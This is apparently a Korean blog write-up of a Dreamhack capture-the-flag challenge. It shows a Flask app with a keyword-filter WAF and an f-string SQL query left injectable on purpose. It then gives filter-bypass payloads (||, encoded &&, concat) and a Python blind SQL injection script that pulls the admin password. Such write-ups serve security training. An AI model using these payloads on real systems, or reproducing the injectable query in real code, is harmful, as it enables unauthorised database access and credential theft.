Webhacking-Write-Up/Dreamhack
[Dreamhack] SQL Injection Bypass WAF Advanced
SlowTurtle_
2023. 1. 11. 07:11
728x90
[Dreamhack] SQL Injection Bypass WAF Advanced
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/',
'\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
for keyword in keywords:
if keyword in data.lower():
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
음 keywords 부분이 증가하여 검사당하는게 늘어났다. 그것보다 더 중요한 것은 앞 문제에서는 대소문자를 구별하지 않아 그냥 Union이런 형식으로 우회했지만 이번엔 lower()로 모두 소문자로 변환하여 검사도 진행한다. 따라서 앞에서 사용했던 코드는 먹히지 않는다! db는 아무것도 변하지 않은 것 같아 소스코드를 올리진 않겠다. admin에 upw에 flag가 있다. 우선 비밀번호의 길이를 알아보기 위해 쿼리로 노가다를 해봤다.
'||length(upw)like(44)#
위 코드에서 like(1~44)까지 변경하며 보냈더니 uid가 admin인 계정의 upw는 44자리인걸 알 수 있었다.
||uid=concat('ad','min')%26%26(ascii(substr(upw,{i},1))={j})%23
비밀번호를 알아보기 위해 쿼리를 작성했다. or 대신 ||을 사용했고 &&대신 url인코딩을 통해 %26%26을 사용했다.
또한 uid가 admin이지만 admin은 키워드 검사 때 걸리기때문에 이전에 학습했던 concat을 통해 admin으로 합쳐 사용했다. 최종적으로 작성한 파이썬 스크립트는 아래와 같다.
import requests
url = "http://host3.dreamhack.games:8894/?uid="
flag = ""
for i in range(45):
for j in range(128):
param = f"'||uid=concat('ad','min')%26%26(ascii(substr(upw,{i},1))={j})%23"
res = requests.get(url+param)
if "admin" in res.text:
flag += chr(j)
break
print(flag)
위에서 알아낸 비밀번호 길이인 44와 아스키코드의 127자리를 사용해 반복문을 작성하였고 res.text에 admin이 있으면 flag값을 chr(j)로 가져와 넣어줬다. 반복될 때마다 flag값을 출력하도록 했고 44번 모두 반복되면 최종적인 flag값을 획득할 수 있었다.
flag!!!
728x90